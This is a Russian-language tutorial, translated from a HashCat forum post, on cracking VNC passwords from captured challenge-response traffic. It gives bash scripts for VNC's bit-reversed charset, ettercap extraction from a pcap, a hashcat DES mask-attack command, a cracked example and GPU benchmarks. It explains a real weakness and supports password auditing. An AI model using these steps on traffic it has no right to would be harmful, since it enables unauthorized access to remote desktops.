Как взломать VNC пароль из захваченного трафика (challenge response)

Данная статья является переводом поста «VNC challenge response password crack» на форуме HashCat, который написал AJB.

Пост интереснейший во всех смыслах: во-первых, как справедливо отмечают авторы, не существует готового решения для взлома VNC пароля в hashcat; во-вторых, любопытен сам процесс проведённого исследования.

Возникла задача, используя hashcat взломать пароль из записанного трафика VNC сессии (содержащей challenge и response), но не удалось найти полное руководство, как это сделать. Поэтому было проделано следующее исследование.

Во время аутентификации клиента на сервере VNC, сервер отправляет Authentication challenge, а клиент в ответ отправляет Authentication response.

Пример Authentication challenge (894443629f4a9675809cff5da2e84651):

Пример Authentication response (271d94eb610b5c42588dc53506419e6a):

Было изучено, как работает аутентификация ответа на вызов VNC, и вот что мы поняли:

  • Клиент инициирует соединение с сервером.
  • Сервер отправляет уникальный/случайный 16-байтовый вызов клиенту.
  • Клиент использует DES для шифрования (один раунд) вызов с помощью входного пароля и отправляет ответ.
  • Сервер получает ответ и использует ту же схему шифрования для сравнения результатов.
  • Соединение устанавливается если оба значения совпадают.

Для информации: известно, что алгоритм шифрования DES может принимать только ключи длиной 56 бит. Поскольку ASCII использует символы длиной 7-бит, то длина ключа может быть максимум до 8 символов. Если он короче, он будет дополнен нулями. Традиционный протокол VNC используется с DES (некоторые новые клиенты VNC могли изменить это).

Проблема в том, что VNC не использует пароль, заданный пользователем, как есть, но сначала выполняет преобразование:

  • биты каждого байта соответствующего значения ascii инвертируются (записываются задом наперёд):
Пароль : 12345678
Значение Ascii (HEX) : 31 32 33 34 35 36 37 38
Двоичное значение:      00110001 00110010 00110011 ....
Двоичное инвертированное значение:  10001100 01001100 11001100 ....
Инвертированное шестнадцатеричное значение: 8c 4c cc 2c ac 6c ec 1c

Таким образом, действительный пароль пользователя VNC, используемый для шифрования: 8c4ccc2cac6cec1c (12345678 в ASCII)

John The Ripper реализовал это в версии 1.9.0 Jumbo-1.

Чтобы взломать пароли VNC с помощью hashcat, мы реализовали это преобразование с помощью небольшого bash-скрипта для создания модифицированной кодировки символов ascii.

Создайте файл toHexVNC.sh:

gedit toHexVNC.sh

И сохраните в него:

toHexVNC(){
  for ((i=0;i<${#1};i++));
  do
    ascii2binrev=`echo "${1:$i:1}" | perl -lpe '$_=unpack"B*",$_' | rev`
    binrev2hex+=`printf "%02x\n" "$((2#$ascii2binrev))"`
  done
  echo $binrev2hex
}

toHexVNC $1

Запускать так:

bash toHexVNC.sh СТРОКА

Например, чтобы конвертировать все цифры:

bash toHexVNC.sh 0123456789

Взлом VNC пароля в Hashcat

Теперь мы можем взломать его с помощью hashcat, используя:

  • атаку 3 (атака по маске)
  • тип хеша 14000 (DES)
  • формат хэша: <шифр>:<открытый текст> (в VNC это будет: <response>:<challenge>, но НЕ <challenge>:<response>)
  • при этом response и challenge должны быть усечены до длины 8 байтов (не нужно тратить ресурсы на все 16 байтов, и в любом случае hashcat принимает только 8 байтов шифра/открытого текста).
  • обратную кодировку и опцию --hex-charset

Имеется файл VNC.pcapng с захваченной VNC сессией, как вы можете видеть выше на скриншотах, можно скопировать вызов и ответ из окна Wireshark. Также их можно извлечь с помощью ettercap:

ettercap -Tq -r VNC.pcapng

Вывод:


ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team

Reading from VNC.pcapng
Libnet failed IPv4 initialization. Don't send IPv4 packets.
Libnet failed IPv6 initialization. Don't send IPv6 packets.
  34 plugins
  42 protocol dissectors
  57 ports monitored
24609 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

Starting Unified sniffing...

192.168.0.101-5900:$vnc$*894443629f4a9675809cff5da2e84651*271d94eb610b5c42588dc53506419e6a
VNC : 192.168.0.101:5900 -> Challenge:894443629f4a9675809cff5da2e84651 Response:271d94eb610b5c42588dc53506419e6a

Из этого вывода нас интересуют:

  • Challenge:894443629f4a9675809cff5da2e84651
  • Response:271d94eb610b5c42588dc53506419e6a

Обрезаем — берём только нужные нам части:

echo 894443629f4a9675809cff5da2e84651 | cut -c 1-16
894443629f4a9675

echo 271d94eb610b5c42588dc53506419e6a | cut -c 1-16
271d94eb610b5c42

Не забываем, что ответ идёт ПЕРВЫМ, а затем только вызов, то есть:

271d94eb610b5c42:894443629f4a9675

Сохраняем этот хеш в файл toCrack.txt.

Теперь нам нужно определиться, какие символы будут использоваться для генерации кандидатов в пароли. Полный список Ascii такой:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$%*^-+_=~[]{}:;<>,.?/\")('&` |

Для использования всех 95 ascii символов, трансформированных для VNC, создайте файл VNC_allascii.charset и скопируйте в него:

8646c626a666e6169656d636b676f60e8e4ece2eae6eee1e9e5e8242c222a262e2129252d232b272f20a8a4aca2aaa6aea1a9a5a0c8c4ccc2cac6cec1c9c840224a4547ab4d4fabc7edabadebe5cdc3c7c3474fcf43a449414e46406043e00

Если вы хотите использовать для генерации паролей только большие и маленькие буквы, а также цифры:

bash toHexVNC.sh abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 > VNC_ascii.charset

Если генерировать пароли только из маленьких букв:

bash toHexVNC.sh abcdefghijklmnopqrstuvwxyz > VNC_ascii.charset

Думаю, суть вы уловили.

Я же буду использовать для генерации кандидатов в пароли только цифры:

bash toHexVNC.sh 0123456789 > VNC_ascii.charset

ОЧЕНЬ ВАЖНО: на это не обращают внимание оригинальные исследователи, но даже полный список конвертированных ASCII символов не подберёт VNC пароли, которые короче 8 символов. В принципе, это может показаться логичным — DES шифрование требует пароль не менее 8 символов в длину. Но VNC принимает более короткие символы, заполняя недостающие символы нулевым байтом. То есть после создания файла VNC_ascii.charset откройте его и обязательно впишите туда два дополнительных нуля если вы допускаете, что мог быть установлен пароль короче 8 символов (это вполне возможно!).

Наконец, составляем команду hashcat для брут-форса VNC пароля:

hashcat -a 3 -m 14000 -1 VNC_ascii.charset --hex-charset --force -D 1,2 --hwmon-temp-abort 100 toCrack.txt ?1?1?1?1?1?1?1?1

Пароль взломан:

271d94eb610b5c42:894443629f4a9675:$HEX[4c4c4c4c4c4c0000]

Взломанный пароль будет шестнадцатеричным значением, и его нужно будет снова конвертировать, чтобы найти пароль (в ASCII). Для этого также написана функция, чтобы её использовать, создайте файл toAscii.sh:

gedit toAscii.sh

И скопируйте в него:

toAscii(){
  for ((i=0;i<${#1};i+=2));
  do
    hex2binary=`perl -e 'printf "%08b\n", 0x'"${1:$i:2}"'' | rev`
    ascii2binrev+=`echo $hex2binary | perl -lpe '$_=pack"B*",$_'`
  done
  echo $ascii2binrev
}

toAscii $1

Запускать так:

bash toAscii.sh СТРОКА

Для конвертации взломанного только что пароля:

bash toAscii.sh 4c4c4c4c4c4c0000

Получено: 222222 (в качестве пароля использовалось шесть двоек).

Некоторые тесты (бенчмарки):

Использование 2x NVIDIA Quadro P4000 8GB

  • пароль в 8 символов длинною из маленьких букв -> макс. ~ 2 мин
  • пароль в 8 символов длинною из больших и маленьких букв, а также цифр -> макс. ~ 2.2 часа
  • пароль в 8 символов длинною из больших и маленьких букв, а также цифр и пробела -> макс. ~ 2.5 часа
  • пароль в 8 символов из всех символов ascii -> макс. ~ 3 дня

Как можно увидеть, при использовании любых символов у VNC пароля нет шансов остаться не взломанным. Вы можете устанавливать пароли любой длины для VNC сервера, например, в 20 символов, и программа молча будет их принимать, но по факту будет сохранено и использовано не более 8 первых символов от пароля.

Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован.